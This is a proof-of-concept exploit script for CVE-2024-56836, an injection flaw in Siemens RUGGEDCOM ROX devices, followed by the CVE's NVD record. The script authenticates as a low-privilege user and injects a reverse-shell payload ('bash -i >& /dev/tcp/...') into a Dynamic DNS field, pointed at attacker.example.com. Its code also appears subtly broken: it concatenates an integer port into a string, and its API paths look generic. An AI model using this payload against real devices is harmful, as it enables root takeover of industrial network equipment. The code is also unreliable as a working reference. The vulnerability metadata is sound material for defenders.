CVE-2024-56836

# CVE-2024-56836 PoC - RUGGEDCOM ROX Dynamic DNS Configuration Injection # This PoC demonstrates the configuration injection vulnerability import requests import json TARGET_IP = "192.168.1.100" TARGET_PORT = 443 ATTACKER_IP = "attacker.example.com" ATTACKER_PORT = 4444 def exploit_dyndns_injection(): """ Exploit CVE-2024-56836: Dynamic DNS configuration injection Allows injection of additional configuration parameters to spawn reverse shell """ # Construct malicious Dynamic DNS configuration with command injection # The injection payload attempts to spawn a reverse shell malicious_config = { "ddns_config": { "enabled": True, "provider": "custom", "hostname": "vulnerable-device", # Malicious injection payload "custom_script": "; bash -i >& /dev/tcp/" + ATTACKER_IP + "/" + ATTACKER_PORT + " 0>&1 #" } } login_url = f"https://{TARGET_IP}:{TARGET_PORT}/api/login" config_url = f"https://{TARGET_IP}:{TARGET_PORT}/api/ddns/config" # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } try: login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code == 200: # Step 2: Submit malicious Dynamic DNS configuration inject_response = session.post(config_url, json=malicious_config, verify=False, timeout=10) if inject_response.status_code == 200: print("[+] Configuration injection successful!") print("[+] Reverse shell should connect to:", f"{ATTACKER_IP}:{ATTACKER_PORT}") else: print("[-] Configuration injection failed") else: print("[-] Authentication failed") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2024-56836 RUGGEDCOM ROX Dynamic DNS Configuration Injection PoC") print("=" * 70) exploit_dyndns_injection()

{"cve": {"id": "CVE-2024-56836", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:28.760", "lastModified": "2026-01-13T10:15:56.830", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). During the Dynamic DNS configuration of the affected product it is possible to inject additional configuration parameters. Under certain circumstances, an attacker could leverage this vulnerability to spawn a reverse shell and gain root access on the affected system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "FA424C03-CB17-4397-A09E-E02A78F8176C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "1EA04F52-40D0-4A4B-9767-265A26EFD98D"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-912274.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}